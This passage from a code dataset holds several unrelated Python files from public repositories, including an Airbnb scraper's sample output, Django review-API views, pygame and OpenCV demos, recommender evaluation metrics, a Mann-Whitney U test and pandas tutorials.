print(\"最后一页\", e)\n break\n\n\n\n\na = AirbnbSpider()\na.parse_html()\n# {'detail_url': 'https://www.airbnb.cn/rooms/44623509?previous_page_section_name=1000',\n# 'house_style': '整间Loft·1室1卫2床',\n# 'simple_describe': '【丁丁民宿】loft/简约清新/鲁迅故里/世贸/银泰/火车站/颐高广场',\n# 'price': '价格￥205',\n# 'evaluation': '4.6分 · 12条评论',\n# 'commons': [['Jing', '2021年3月', '系统自动评论:该房东在房客入住当天单方面取消了订单｡'],\n# ['Fff', '2021年3月', '挺好的挺好的'],\n# ['佳琦', '2021年1月', '挺好的'],\n# ['魔仙堡清洁工', '2020年12月', '房间很适合聚会'],\n# ['辉', '2020年12月', '系统自动评论:该房东在房客入住 9 天前单方面取消了订单｡'],\n# ['Grit', '2020年11月', '提议都在评论里了,希望能改进,给后续客户更好的体验｡'],\n# ['铭含', '2020年11月', '很新的公寓楼,有电梯 房间设施也挺好,洗漱空间宽敞｡是Loft,休息在楼上,楼下是客厅 刚开始觉的有点儿偏,后来发现去火车站,鲁迅故里,仓桥直街车程都是10分钟左右,10几元钱就到了,很方便 而且位置很显眼,好找,停车就在楼下,方便不贵(2小时免费,24小时封顶20元)']\n# ]}\n","repo_name":"madongdong1005/AirbnbSpider","sub_path":"AirbnbSpider.py","file_name":"AirbnbSpider.py","file_ext":"py","file_size_in_byte":5830,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"13690422986","text":"import json\n\nfrom django.http import JsonResponse, HttpResponse\nfrom django.utils.decorators import method_decorator\nfrom django.views import View\nfrom django.views.decorators.csrf import csrf_exempt\nfrom jsonschema import validate\nfrom jsonschema.exceptions import ValidationError\n\nfrom django.core.exceptions import ObjectDoesNotExist\n\nfrom .models import Item, Review\n\nREVIEW_SCHEMA = {\n '$schema': 'http://json-schema.org/schema#',\n 'type': 'object',\n 'properties': {\n 'title': {\n 'type': 'string',\n 'minLength': 1,\n 'maxLength': 64,\n },\n 'description': {\n 'type': 'string',\n 'minLength': 1,\n 'maxLength': 1024,\n },\n 'price': {\n 'type': 'integer',\n 'minimum': 1,\n 'maximum': 1000000,\n },\n },\n 'required': ['title', 'description', 'price'],\n}\n\nREVIEW_SCHEMA_DESCRIPTION = {\n '$schema': 'http://json-schema.org/schema#',\n 'type': 'object',\n 'properties': {\n 'text': {\n 'type': 'string',\n 'minLength': 1,\n 'maxLength': 1024,\n },\n 'grade': {\n 'type': 'integer',\n 'minimum': 1,\n 'maximum': 10,\n },\n },\n 'required': ['text', 'grade'],\n}\n\n\n@method_decorator(csrf_exempt, name='dispatch')\nclass AddItemView(View):\n\n def post(self, request):\n try:\n data = json.loads(request.body)\n validate(data, REVIEW_SCHEMA)\n item = Item(**data)\n item.save()\n\n # from pdb import set_trace; set_trace()\n except (json.JSONDecodeError, ValidationError, AssertionError):\n return HttpResponse(status=400)\n\n return JsonResponse({\"id\": item.pk}, status=201)\n\n@method_decorator(csrf_exempt, name='dispatch')\nclass PostReviewView(View):\n\n def post(self, request, item_id):\n try:\n data = json.loads(request.body)\n validate(data, REVIEW_SCHEMA_DESCRIPTION)\n item = Item.objects.get(pk=item_id)\n\n review = Review(**data)\n review.item = item\n review.save()\n except Item.DoesNotExist:\n return HttpResponse(status=404)\n except (json.JSONDecodeError, ValidationError):\n return HttpResponse(status=400)\n\n return JsonResponse({id: item.pk}, status=201)\n\n\nclass GetItemView(View):\n\n def get(self, request, item_id):\n # try:\n # result = get_item_by_id(item_id)\n # data = dict()\n #\n # for rec in result:\n # if not data:\n # dict['id'] = rec.id\n # dict['title'] = rec.title\n # dict['description'] = rec.description\n # dict['price'] = rec.price\n # dict['reviews'] = []\n # dict['reviews'].append({\n # 'id': rec.id,\n # 'text': rec.text,\n # 'grade': rec.grade,\n # })\n # # from pdb import set_trace; set_trace()\n #\n # return JsonResponse(data, status=200)\n # except ObjectDoesNotExist:\n # return JsonResponse({}, status=404)\n\n try:\n item = Item.objects.get(pk=item_id)\n except Item.DoesNotExist:\n return HttpResponse(status=404)\n data = list(item.values())\n query = Review.objects.filter(item=item).order_by('-id')\n reviews = query[:5]\n data['reviews'] = list(reviews.values())\n\n return JsonResponse(data, status=200)\n\n\ndef get_item_by_id(item_id):\n return Item.objects.filter(review__id=item_id)[:5] \\\n .values('id', 'title', 'description', 'price', 'review__id', 'review__text', 'review__grade')\n","repo_name":"greykoshak/mart_auh","sub_path":"somemart/myviews.py","file_name":"myviews.py","file_ext":"py","file_size_in_byte":3802,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"74954796992","text":"import pandas as pd\n\nmersedes = 8000000\ntotal_sum = 0\n\ndata = pd.read_csv(\"input.txt\")\nmax_ = data.min().min()\n\nfor i in data.columns:\n sum_ = data[i].sum()\n total_sum += sum_\n if(sum_ > max_):\n max_ = sum_\n name = i\n\nif total_sum < mersedes:\n print(0)\nelse:\n print(1,name)\n \n","repo_name":"MaXiMmM7/CV","sub_path":"Python/university/week 9/week 9_3/week 9_3.py","file_name":"week 9_3.py","file_ext":"py","file_size_in_byte":308,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"6261361306","text":"if __name__=='__main__':\n ###### 生成样本 #####\n best_vector = 'outofdict'\n best_model = 4 # 代表Logistic回归\n less_index = (resultY[best_vector]==0)\n less_vector = resultX[best_vector][less_index,:] # 所有中性样本\n\n new_size = int(0.25*len(less_vector))\n new_vector = np.empty((new_size,len(less_vector[0]))) # 新生成的训练集\n new_tag = np.ones(new_size)\n # print(new_vector.shape)\n for index in range(new_size):\n my_generator = GenerateSample(less_vector,topk=5)\n new_vector[index] = my_generator.generate()\n\n new_x_list = resultX[best_vector].tolist()\n new_x_list.extend(new_vector.tolist())\n new_x = np.array(new_x_list) # 最新生成的训练向量\n\n new_y_list = resultY[best_vector].tolist()\n new_y_list.extend(new_tag.tolist())\n new_y = np.array(new_y_list)\n print(len(new_x))\n print(len(new_y))\n rate = loocv(new_x,new_y,mode = best_model)\n print(rate)","repo_name":"dongyuanxin/news-emotion","sub_path":"other/paper/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":957,"program_lang":"python","lang":"en","doc_type":"code","stars":310,"dataset":"github-code","pt":"60"} +{"seq_id":"73255237311","text":"def to_weird_case(string):\n l = [c for c in list(string)]\n i = 0\n res = []\n for c in l:\n res.append(c.upper() if i%2 == 0 else c.lower())\n if (c.isalpha()):\n i += 1\n else:\n i = 0\n return ('').join(res)\n\n\nfrom KataTestSuite import Test\ntest = Test()\n\n\ntest.describe('to_weird_case')\n\ntest.it('should return the correct value for a single word')\ntest.assert_equals(to_weird_case('This'), 'ThIs')\ntest.assert_equals(to_weird_case('is'), 'Is')\n\ntest.it('should return the correct value for multiple words')\ntest.assert_equals(to_weird_case('This is a test'), 'ThIs Is A TeSt')\n","repo_name":"akvara/CodeWars","sub_path":"6kyu/WeIrD_StRiNg_CaSe.py","file_name":"WeIrD_StRiNg_CaSe.py","file_ext":"py","file_size_in_byte":631,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"2631292386","text":"import time as t\nimport pygame as pg\n\nclass LoadingScreen:\n # set the Widow object (\"MWO = Main Window Object\")\n def __init__(self, window):\n self.MWO = window\n self.is_displaying = False\n\n # time objects\n self.time = 0\n self.timelim = 3\n\n self.half_w, self.half_h = self.MWO.DISPLAY_W / 2, self.MWO.DISPLAY_H / 2\n self.bar_offset_y = + 25\n\n # sizes\n self.box_size_w, self.box_size_h = self.half_w, self.half_h\n self.bar_size_w, self.bar_size_h = self.half_w, self.half_h/10\n\n # positions\n self.box_x, self.box_y = self.half_w/2, self.half_h/2\n self.bar_x, self.bar_y = self.half_w/2, self.half_h + self.bar_offset_y\n\n def display_screen(self):\n start = t.time()\n self.is_displaying = True\n # start music on loading time\n self.MWO.play_music()\n while self.is_displaying:\n # update elasped time and progress\n self.time = t.time() - start + 0.1\n progress = self.time/self.timelim\n\n self.MWO.set_user_input()\n self.check_input()\n\n self.MWO.draw_rect((0,0,0), self.box_x, self.box_y, self.box_size_w, self.box_size_h)\n self.MWO.draw_text(\"Loading....\", 20, self.half_w, self.half_h)\n self.MWO.draw_rect((255,255,255), self.bar_x, self.bar_y, self.bar_size_w, self.bar_size_h)\n self.MWO.draw_rect((100, 255, 100), self.bar_x, self.bar_y, self.bar_size_w * progress, self.bar_size_h)\n\n self.blit_LoadingScreen()\n\n def check_input(self):\n \"\"\"\n Profile's state machine; checks input and acts accordingly\n :return: None\n \"\"\"\n # check for enter key\n if self.MWO.BACKSPACE_KEY or self.time > self.timelim :\n self.MWO.current_screen = self.MWO.main_menu\n self.is_displaying = False\n\n def blit_LoadingScreen(self):\n \"\"\"\n displays the drawn objects and then resets flags.\n :return: None\n \"\"\"\n self.MWO.window.blit(self.MWO.display, (0, 0))\n pg.display.update()\n self.MWO.reset_key_inputs()\n\n","repo_name":"Nolan-Rewega/Underfire-Boardgame-Collection-CMPT370-project","sub_path":"LoadingScreen.py","file_name":"LoadingScreen.py","file_ext":"py","file_size_in_byte":2141,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"18482851596","text":"import pygame\r\nfrom weapon import Canon\r\n\r\n\r\nclass Player(pygame.sprite.Sprite):\r\n def __init__(self, game, joystick):\r\n super().__init__()\r\n self.game = game\r\n self.joystick: pygame.joystick.Joystick = joystick\r\n self.rect = pygame.rect.Rect(self.game.gvars.SCREEN_WIDTH/2, 0, 100, 100)\r\n self.x, self.y = self.rect.center\r\n self.collideXRect = self.rect.inflate(0, -51)\r\n self.collideYRect = self.rect.inflate(0, 0)\r\n self.axeX = 0\r\n self.axeY = 0\r\n self.speedX = 0\r\n self.speedY = 0\r\n self.upPressed = False\r\n self.leftPressed = False\r\n self.lastJump = 0\r\n self.onGround = False\r\n self.hp = 3\r\n self.percent = 0\r\n self.weapon = None\r\n self.item = None\r\n self.attacks = pygame.sprite.Group()\r\n self.permeable = False\r\n\r\n def update(self, time):\r\n self.getInputs()\r\n self.controls(time)\r\n self.physics()\r\n self.checkDeath()\r\n self.collectItems(time)\r\n self.display()\r\n self.updateWeapon(time)\r\n self.attacks.update(time)\r\n\r\n def updateWeapon(self, time):\r\n if self.weapon:\r\n self.weapon.update(time)\r\n\r\n def respawn(self):\r\n self.rect = pygame.rect.Rect(self.game.gvars.SCREEN_WIDTH / 2, 0, 100, 100)\r\n self.x, self.y = self.rect.center\r\n self.collideXRect = self.rect.inflate(0, -51)\r\n self.collideYRect = self.rect.inflate(0, 0)\r\n self.speedX = 0\r\n self.speedY = 0\r\n self.lastJump = 0\r\n self.percent = 0\r\n self.onGround = False\r\n self.weapon = None\r\n self.item = None\r\n\r\n def controls(self, time):\r\n if self.onGround:\r\n self.speedX += self.axeX * 2\r\n if (self.axeY < -0.4 or self.upPressed) and self.lastJump+0.4 < time:\r\n self.speedY = -30\r\n self.lastJump = time\r\n else:\r\n self.speedX += self.axeX/3\r\n if self.leftPressed and self.weapon:\r\n self.weapon.use(time)\r\n\r\n def getInputs(self):\r\n self.axeX = self.joystick.get_axis(0)\r\n self.axeY = self.joystick.get_axis(1)\r\n # no joycon drift\r\n if round(self.axeX * 30) == 0:\r\n self.axeX = 0\r\n if round(self.axeY * 30) == 0:\r\n self.axeY = 0\r\n self.upPressed = self.joystick.get_button(3)\r\n self.leftPressed = self.joystick.get_button(2)\r\n\r\n def harm(self, amount, direction: int):\r\n self.percent += amount\r\n self.speedX += (self.percent+amount)*direction\r\n\r\n def checkDeath(self):\r\n if self.y > 1300:\r\n if self.hp > 1:\r\n self.hp -= 1\r\n self.respawn()\r\n else:\r\n self.kill()\r\n\r\n def collectItems(self, time):\r\n for item in self.game.items:\r\n if self.rect.colliderect(item.rect):\r\n item.kill()\r\n self.joystick.rumble(0.1, 0.5, 150)\r\n name = item.name\r\n if name == \"canon\":\r\n self.weapon = Canon(self.game, self, time)\r\n\r\n def collisions(self):\r\n self.onGround = False\r\n for platform in self.game.platforms:\r\n if self.rect.colliderect(platform.rect):\r\n # clip left\r\n if self.collideXRect.colliderect(platform.rect) and not platform.permeable:\r\n if self.rect.left < platform.rect.right < self.rect.right:\r\n self.speedX = 0\r\n self.rect.left = platform.rect.right\r\n self.x = self.rect.centerx\r\n # clip right\r\n elif self.rect.left < platform.rect.left < self.rect.right:\r\n self.speedX = 0\r\n self.rect.right = platform.rect.left\r\n self.x = self.rect.centerx\r\n elif self.collideYRect.colliderect(platform.rect):\r\n # clip down\r\n if platform.rect.bottom > self.rect.bottom > platform.rect.top:\r\n self.speedY = 0\r\n self.rect.bottom = platform.rect.top + 1\r\n self.onGround = True\r\n self.y = self.rect.centery\r\n # clip up\r\n elif platform.rect.bottom > self.rect.top > platform.rect.top and not platform.permeable:\r\n self.speedY *= -0.2\r\n self.rect.top = platform.rect.bottom + 1\r\n self.y = self.rect.centery\r\n\r\n def physics(self):\r\n # apply forces\r\n self.x += self.speedX\r\n self.y += self.speedY\r\n self.rect.center = self.collideXRect.center = self.collideYRect.center = self.x, self.y\r\n\r\n # friction\r\n if self.onGround:\r\n self.speedX *= 0.85\r\n else:\r\n self.speedX *= 0.955\r\n self.speedY *= 0.955\r\n # gravity\r\n self.speedY += 0.9\r\n\r\n self.collisions()\r\n\r\n def display(self):\r\n pygame.draw.rect(self.game.screen, (255, 255, 255), self.rect)\r\n","repo_name":"Armibule/SuperSmashBrosse","sub_path":"player.py","file_name":"player.py","file_ext":"py","file_size_in_byte":5168,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"1832623155","text":"import cv2\r\nimport time\r\n\r\ncap = cv2.VideoCapture(0)\r\n\r\nwhile(True):\r\n tic = time.perf_counter()\r\n# Get image\r\n ret, frame = cap.read()\r\n gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY) # 640x480\r\n toc = time.perf_counter()\r\n #t1 = toc-tic\r\n #print('t1 = ' + str(t1))\r\n# Brightest pixel using OpenCV\r\n #min_val, max_val, min_index, max_index = cv2.minMaxLoc(gray)\r\n # Draw point on brightest pixel\r\n #gray = cv2.circle(gray, max_index, radius=10, color=(255, 255, 255), thickness=-1)\r\n #toc = time.perf_counter()\r\n #t2 = toc-tic\r\n #print('t2 = ' + str(t2))\r\n# Redness evaluation\r\n #red = frame[:,:,2]\r\n #min_rval, max_rval, min_rindex, max_rindex = cv2.minMaxLoc(red) \r\n # Draw point on reddest pixel\r\n #gray = cv2.circle(gray, max_rindex, radius=10, color=(255, 255, 255), thickness=-1)\r\n\r\n# Loop Method\r\n# Brightest pixel\r\n xmax = 0\r\n ymax = 0\r\n maxLoopVal = 0\r\n for i in range(0,480):\r\n for j in range(0,640): \r\n if gray[i,j] > maxLoopVal:\r\n maxLoopVal = gray[i,j]\r\n ymax = i\r\n xmax = j \r\n gray = cv2.circle(gray, (xmax,ymax), radius=10, color=(0, 255, 255), thickness=-1) \r\n\r\n# Reddest pixel\r\n# red = frame[:,:,2]\r\n# xrmax = 0\r\n# yrmax = 0\r\n# maxrLoopVal = 0\r\n# for i in range(0,480):\r\n# for j in range(0,640): \r\n# if red[i,j] > maxrLoopVal:\r\n# maxrLoopVal = red[i,j]\r\n# yrmax = i\r\n# xrmax = j \r\n #gray = cv2.circle(gray, (xrmax,yrmax), radius=10, color=(0, 255, 255), thickness=-1) \r\n# Time measure\r\n toc = time.perf_counter()\r\n t = toc-tic\r\n fps = str(int(1/t))\r\n# Text over image\r\n font = cv2.FONT_HERSHEY_SIMPLEX\r\n cv2.putText(gray, fps + ' FPS', (400, 450), font, 2, (255, 255, 255), 3, cv2.LINE_4)\r\n# Show image\r\n cv2.imshow('frame',gray)\r\n toc = time.perf_counter()\r\n t1 = toc-tic\r\n print('t1 = ' + str(t1))\r\n# Close frame \r\n if cv2.waitKey(1) & 0xFF == ord('q'):\r\n break\r\n\r\ncap.release()\r\ncv2.destroyAllWindows()","repo_name":"dth34/CV---Assignment-1","sub_path":"capture.py","file_name":"capture.py","file_ext":"py","file_size_in_byte":2086,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"17672736642","text":"import json\nimport os\nfrom tqdm import tqdm\nimport sys\nsys.path.append(os.path.dirname(__file__))\nimport plotutils as VisualizationKit\nimport numpy as np\nimport recmetrics\n\n\nclass _Evaluator():\n \n def __init__(self, recommend_list:dict, testing_ans:dict, all_items:list) -> None:\n self.__recommend_list = recommend_list\n self.__gth = testing_ans\n self.__all_items = all_items\n\n def recommend_topN(self, topN)->dict:\n predi = {}\n for k, v in (self.__recommend_list.items()):\n predi[k] = list(map(lambda x:str(x) , v[:topN]))\n return predi\n \n def _fpr(self, prediction, gth)->float:\n each_fallout = []\n for prei, gthi in zip(prediction,gth):\n fp_count = len(list(b for b in prei if b not in gthi))\n neg = len(list(b for b in self.__all_items if b not in gthi ))\n each_fallout.append(fp_count/neg)\n return np.mean(each_fallout)\n \n\n def top_N(self, topN)->tuple: \n \n prediction ,gth =[], []\n\n for k, v in (self.recommend_topN(topN).items()):\n\n predi = list(map(lambda x:str(x), v))\n actual = list(map(lambda x:str(x), self.__gth[k]))\n \n prediction.append(predi)\n gth.append(actual)\n \n fpr= self._fpr(prediction, gth)\n prec = recmetrics.recommender_precision(prediction,gth)\n recall = recmetrics.recommender_recall(prediction,gth)\n\n return prec, recall, fpr\n \n\n def different_topN(self, max_topN)->dict:\n prec, recall, f1, fpr = [], [], [], []\n for n in tqdm(range(1,max_topN+1)):\n prec_n, recall_n, fpr_n = self.top_N(topN=n)\n prec.append(prec_n)\n recall.append(recall_n)\n fpr.append(fpr_n)\n f1.append(2/((1/(recall_n+1e-10))+(1/(prec_n+1e-10))))\n return {\n 'precision':prec, \n 'recall':recall, \n 'fpr':fpr,\n 'f1':f1\n }\n\ndef precision_recall(predictionfile,gthfile,topN_range,all_items,savepath)->dict:\n \n def read_jsonfile(jsfile:dict)->dict:\n if isinstance(jsfile, dict):\n return jsfile\n else:\n with open(jsfile,\"r\", encoding='utf-8') as jf:\n return json.load(jf)\n \n print(\"calculate precision, recall, f1, falsepositive rate\")\n groundtruth = read_jsonfile(gthfile)\n recommend_list = read_jsonfile(predictionfile)\n \n eva = _Evaluator(\n recommend_list=recommend_list, \n testing_ans=groundtruth,\n all_items=all_items\n )\n cmp_diff_n = eva.different_topN(max_topN=topN_range)\n if savepath is not None:\n with open(savepath, \"w+\") as log:\n json.dump(cmp_diff_n, log, indent=4, ensure_ascii=False)\n \n return cmp_diff_n\n\ndef Evaluate(result_root, recommendlist, gth, item_list, topN_range=1000, showinline=False):\n \n def plotmetrics(cmp_diff_n:dict, savepath, showinline=False)->None:\n print(\"Precision_Recall_F1 :\", end=\" \")\n VisualizationKit.plot_PRF1_different_n(\n prec=cmp_diff_n['precision'],recall=cmp_diff_n['recall'],\n f1=cmp_diff_n['f1'],\n savepath=savepath,\n showinline=showinline \n )\n print(savepath)\n\n def plotPR_curve(cmp_diff_n:dict, savepath, showinline=False):\n print(\"PR :\", end=\" \")\n VisualizationKit.PR_curve(\n precision=cmp_diff_n['precision'], recall=cmp_diff_n['recall'],\n savepath=savepath, showinline=showinline\n )\n print(savepath)\n\n def plotROC( cmp_diff_n:dict, savepath, showinline=False):\n print(\"ROC :\", end=\" \")\n VisualizationKit.ROC(\n cmp_diff_n['fpr'], cmp_diff_n['recall'],\n savepath=savepath, showinline=showinline\n )\n print(savepath)\n \n\n cmp_diff_n = {}\n precal = os.path.join(result_root,\"metrics\" ,\"metrics.json\")\n \n print(os.path.join(result_root,\"metrics\" ,\"metrics.json\"))\n if not os.path.exists(os.path.join(result_root,\"metrics\")):\n os.mkdir(os.path.join(result_root,\"metrics\"))\n \n cmp_diff_n = precision_recall(\n predictionfile=os.path.join(recommendlist),\n gthfile=os.path.join(gth),\n topN_range=topN_range,\n all_items=item_list,\n savepath=os.path.join(result_root, \"metrics\" ,\"metrics.json\")\n ) \n \n \n\n plotmetrics(cmp_diff_n, os.path.join(result_root , \"metrics\",\"metrics.jpg\"), showinline=showinline)\n plotPR_curve(cmp_diff_n,os.path.join(result_root ,\"metrics\",\"PR.jpg\"),showinline=showinline)\n plotROC(cmp_diff_n, os.path.join(result_root , \"metrics\",\"ROC.jpg\"), showinline=showinline)\n\ndef zoom_in_topK(metrics,savepath,title, wants=['recall'],topk=20 ,showinline=False):\n VisualizationKit.plot_PRF1_different_n(\n prec=metrics['precision'][:topk],\n recall=metrics['recall'][:topk],\n f1=metrics['f1'][:topk],\n savepath=os.path.join(savepath, f\"metrics_zoomin_top{topk}.jpg\"),\n showinline=showinline\n )\n for want in wants:\n VisualizationKit.zoom_in_topk(\n whole=metrics[want],topk=topk,\n plot_title=f\"{title}\\n{want} : 1~{topk}\",\n savename=os.path.join(savepath, f\"{want}_top{topk}.jpg\"),\n showinline=showinline\n )\n\ndef item_order(user_rate:np.ndarray, item_id_type:type=str)->list:\n ordered = np.argsort(-user_rate).tolist()\n ordered = list(map(lambda x:item_id_type(x), ordered))\n return ordered","repo_name":"yls108u/Library_recommendation_system","sub_path":"RS/utils/evaluation.py","file_name":"evaluation.py","file_ext":"py","file_size_in_byte":5528,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"70811881791","text":"import argparse\nimport csv\nimport sys\n\nerrors = []\n\nwith open(\"winerror.csv\") as f:\n reader = csv.reader(f)\n next(reader) # skip header\n for code, slug, desc in reader:\n code = int(code, 10)\n errors.append((code, slug, desc))\n\nparser = argparse.ArgumentParser()\nparser.add_argument('error', type=lambda x: int(x, 0))\n\nargs = parser.parse_args()\n\nfor code, slug, desc in errors:\n if code == args.error:\n print('Error {0} (0x{0:08x})'.format(code))\n print(slug)\n print(\"Description:\")\n print(desc)\n break\nelse:\n print(\"Error not found in the database =(\")\n sys.exit(1)\n","repo_name":"DCNick3/uwin","sub_path":"trash/winerror/winerror.py","file_name":"winerror.py","file_ext":"py","file_size_in_byte":635,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"60"} +{"seq_id":"44961067829","text":"import frappe\nfrom frappe.utils import cint\n\n\ndef runner():\n \"\"\"This method is run by scheduler to send monthly statement to customers\"\"\"\n # execution plan\n # 1. load the Monthly Statement Configurator\n # 2. check for the send_on field (which is a list of days of the month)\n # 3. if today is the day of the month, then iterate over all the customers (customer_and_email of the same doctype)\n # 4. for each customer, \"try\" to create a new doctype of \"Statement of Accounts\" (which should automatically send the email at the moment of creation)\n # 5. if the new doctype being created does not have any records for the table \"customer_and_email\" then do not create the doctype (as it would send an empty statement and that just means the customer is up to date with their payments)\n\n # 1. load the Monthly Statement Configurator\n configurator = get_configurator()\n\n # 2. check for the send_on field (which is a list of days of the month)\n day_of_month = frappe.utils.get_datetime().day\n\n if day_of_month != cint(configurator.send_on):\n return \"Not the day of the month to send the monthly statement\"\n\n # 3. if today is the day of the month, then iterate over all the customers (customer_and_email of the same doctype)\n for customer_and_email in configurator.customer_and_email:\n doc = get_statement_of_accounts(\n customer_and_email.customer,\n customer_and_email.email,\n as_of_date=frappe.utils.today(),\n )\n\n doc.fetch_statement_of_accounts(throw=False)\n\n if not doc.statement_of_accounts:\n continue\n\n doc.save(ignore_permissions=True)\n\n\ndef get_statement_of_accounts(customer, email, as_of_date):\n \"\"\"Returns a new Statement of Accounts document\"\"\"\n doc = frappe.get_doc(\n dict(\n doctype=\"Statement of Accounts\",\n customer=customer,\n contact_email=email,\n as_of_date=as_of_date,\n )\n )\n\n return doc\n\n\ndef get_configurator():\n \"\"\"Returns the Monthly Statement Configurator\"\"\"\n return frappe.get_single(\"Monthly Statement Configurator\")","repo_name":"YefriTavarez/fairweather","sub_path":"fairweather/scheduler/daily/monthly_statement_notificator.py","file_name":"monthly_statement_notificator.py","file_ext":"py","file_size_in_byte":2135,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"25859097974","text":"from itertools import chain\nfrom collections import Counter\nfrom math import erf, sqrt\n\n\ndef rank(values):\n values = list(values)\n c = Counter(values)\n ranks = {value: i+1 for i, value in enumerate(sorted(values, reverse=True))}\n for value, count in ((value, count) for value, count in c.items() if count > 1):\n ranks[value] = sum(range(ranks[value], ranks[value] - count, -1))/count\n\n return ranks\n\n\ndef z_to_p(z):\n return 0.5 * (1 + erf(z / sqrt(2)))\n\n\ndef calculate_z(ranks1, ranks2):\n n1, n2 = len(ranks1), len(ranks2)\n R1, R2 = sum(ranks1), sum(ranks2)\n U1 = n1 * n2 + (n1 * (n1 + 1))/2.0 - R1\n U2 = n1 * n2 + (n2 * (n2 + 1))/2.0 - R2\n\n assert U1 + U2 == n1 * n2\n\n mean = (n1*n2)/2\n n = n1+n2\n count = Counter(chain(ranks1, ranks2))\n sigma_term = sum(((value**3-value)/12 for value in count.values() if value > 1))\n std = sqrt((n1*n2/(n*(n-1)))) * sqrt(((n**3-n)/12) - sigma_term)\n\n U = min([U1, U2])\n z = (U-mean)/std\n\n return z\n\n\ndef mannwhitneyu(x1, x2, p=0.05):\n \"\"\"\n Perform a 2-tailed Mann-Whitney U (rank sum) test.\n\n :param x1: Values in first sample\n :type x1: list\n :param x2: Values in second sample\n :type x2: list\n :param p: p-value against which to test (default 0.05)\n :type p: float\n :return: boolean of whether result is statistically significant at confidence level p, and the actual p-value\n :rtype: tuple\n \"\"\"\n rank_dict = rank(chain(x1, x2))\n x1_ranks = [rank_dict[el] for el in x1]\n x2_ranks = [rank_dict[el] for el in x2]\n z = calculate_z(x1_ranks, x2_ranks)\n p_val = z_to_p(z)\n return p_val < p/2, p_val\n\n\nif __name__ == '__main__':\n from random import random, seed\n from matplotlib import pyplot as plt\n results = []\n for delta in (x/100 for x in range(100)):\n seed()\n count = 0\n for _ in range(200):\n x1 = [random() for _ in range(100)]\n x2 = [random() + delta for _ in range(100)]\n ret, p = mannwhitneyu(x1, x2, p=0.01)\n if ret:\n count += 1\n #print(ret, p)\n results.append(count)\n\n plt.plot(results)\n plt.show()","repo_name":"clbarnes/stats_supplement","sub_path":"stattests.py","file_name":"stattests.py","file_ext":"py","file_size_in_byte":2178,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"34445241816","text":"from App.class_init import InitializeClass\nfrom bika.lims.catalog.base import BaseCatalog as OldBaseCatalog\nfrom senaite.core.catalog.base_catalog import COLUMNS as BASE_COLUMNS\nfrom senaite.core.catalog.base_catalog import INDEXES as BASE_INDEXES\nfrom senaite.core.catalog.base_catalog import BaseCatalog\nfrom senaite.storage.interfaces import ISenaiteStorageCatalog\nfrom zope.interface import implements\n\nCATALOG_ID = \"senaite_catalog_storage\"\nSTORAGE_CATALOG = CATALOG_ID # for imports\nCATALOG_TITLE = \"Senaite Storage Catalog\"\n\nINDEXES = BASE_INDEXES + [\n # id, indexed attribute, type\n\n # Ids of parent containers and current\n (\"get_all_ids\", \"\", \"KeywordIndex\"),\n # Keeps the sample uids stored in each sample container\n (\"get_samples_uids\", \"\", \"KeywordIndex\"),\n # For searches, made of get_all_ids + Title\n (\"listing_searchable_text\", \"\", \"ZCTextIndex\"),\n # Index used in searches to filter sample containers with available slots\n (\"Title\", \"\", \"FieldIndex\"),\n (\"is_full\", \"\", \"BooleanIndex\"),\n (\"sortable_title\", \"\", \"FieldIndex\"),\n]\n\nCOLUMNS = BASE_COLUMNS + [\n # attribute name\n \"id\",\n \"Title\",\n \"Description\",\n]\n\nTYPES = [\n # portal_type name\n \"StorageFacility\",\n \"StoragePosition\",\n \"StorageContainer\",\n \"StorageSamplesContainer\",\n]\n\n\nclass StorageCatalog(BaseCatalog):\n implements(ISenaiteStorageCatalog)\n\n def __init__(self):\n BaseCatalog.__init__(self, CATALOG_ID, title=CATALOG_TITLE)\n\n\nclass SenaiteStorageCatalog(OldBaseCatalog):\n \"\"\"BBB: Remove after 2.1.0 migration\n \"\"\"\n\n\nInitializeClass(StorageCatalog)\nInitializeClass(SenaiteStorageCatalog)\n","repo_name":"senaite/senaite.storage","sub_path":"src/senaite/storage/catalog.py","file_name":"catalog.py","file_ext":"py","file_size_in_byte":1645,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"60"} +{"seq_id":"24963443734","text":"import pandas as pd\r\nss= pd.Series([1,-3,5,-7])\r\nprint(ss)\r\nprint(ss.values)#值\r\nprint(ss.index)#索引\r\n\r\nss1=pd.Series([4,7,-5,3], index=['a','b','c','d'])#索引可以自己設定\r\nprint(ss1.index)\r\nprint(ss1['a'])#索引a內容，像dict\r\nprint('a' in ss1)\r\nprint(7 in ss1)#像dict比對key不比值\r\nprint(7 in ss1.values)#要加values才能比\r\n#%%\r\nimport pandas as pd\r\n#list轉series\r\nlist1=['a',123,'b',4.56,'c',True]\r\nlist_to_series=pd.Series(list1)\r\nprint(list_to_series)\r\n\r\nprint(type(list_to_series[0]))#型態都保留一樣，像json\r\nprint(type(list_to_series[3]))\r\nprint(type(list_to_series[5]))\r\n\r\n#dict轉series\r\ndic1= {'a':123,'b':4.56,'c':True}\r\n\r\ndic_to_series=pd.Series(dic1)\r\nprint(dic_to_series)\r\n\r\nprint(type(dic_to_series['a']))#型態也都保留一樣\r\nprint(type(dic_to_series['b']))\r\nprint(type(dic_to_series['c']))\r\n#%%\r\n#二維\r\nimport pandas as 